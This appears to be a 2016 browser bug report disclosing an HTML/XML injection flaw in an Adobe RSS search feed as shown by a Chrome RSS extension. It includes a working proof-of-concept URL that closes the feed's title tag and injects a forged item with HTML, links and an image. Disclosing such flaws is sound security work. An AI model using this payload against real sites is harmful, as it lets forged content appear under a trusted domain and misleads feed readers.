UserAgent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

Steps to reproduce the problem:

We can close the <title> tag and thus manipulate the entire xml document in the adobe.com domain.
In this example I show a single item but I could add as many as I wanted by modifying the value of the itemsPerPage parameter

https://color.adobe.com/rss/search.cfm?searchQuery=HTML Injection into RSS reader (II)</title><item><title>HTML Injection into RSS reader (II)</title><link>https://bughunter.withgoogle.com/profile/0d0d6514-b648-4105-b73a-bbed4352e9bc</link><description><![CDATA[
<h4><font color='brown'>Perfil</font></h4>
Tras terminar mi formacion de estudios superiores, me especialice en la programacion en tecnologia web.<p> Desde entonces trabajo como analista-programador en la empresa Baratz, Servicios de Teledocumentacion.</p>Tambien formo parte del equipo de nuevas tecnologias de la empresa Finanser Asesores y soy webmaster de la firma delPueyoDiaz.<p>Muy interesado en tecnologia movil.</p>
<h4><font color='brown'>Entornos web</font></h4>
(X)HTML, HTML5, CSS 2, CSS3, Javascript, AJAX, JQuery, cross-browser, xml, xslt, estanadarizacion w3c, JQuery Mobile, Sencha Touch 2.0 (Mobile App Development Platform).<p>
<img border='1' title='profile' src='https://media.licdn.com/mpr/mpr/shrinknp_200_200/p/8/000/1ce/09e/0c204d9.jpg' height='100' hspace='20' vspace='0'><a href='https://bughunter.withgoogle.com/profile/0d0d6514-b648-4105-b73a-bbed4352e9bc'><strong>jm.acuna73@gmail.com</strong></a></p>
]]></description><pubDate> Thu, 01 Dec 2016 14:50:58 GMT</pubDate><author><![CDATA[Hack jm.acuna73@gmail.com]]></author></item><title>'HTML Injection into RSS reader (II)&key=4EA137CD2D1440A2CF7CA183070D11F7&itemsPerPage=1

Tested on Mozilla Firefox 50.1.0, Google Chrome Versión 55.0.2883.87 m with extension https://chrome.google.com/webstore/detail/rss-subscription-extensio/nlbjncdgjeocebhnmkbbbdekmmmcbfjd
and Internet Explorer 11

What is the expected behavior?
The feed reader should be able to escape certain characters

What went wrong?
I can manipulate the entire contents of the xml document

WebStore page: https://chrome.google.com/webstore/detail/rss-subscription-extensio/nlbjncdgjeocebhnmkbbbdekmmmcbfjd

Did this work before? N/A 

Chrome version: 55.0.2883.87  Channel: stable
OS Version: 6.3
Flash Version: Shockwave Flash 24.0 r0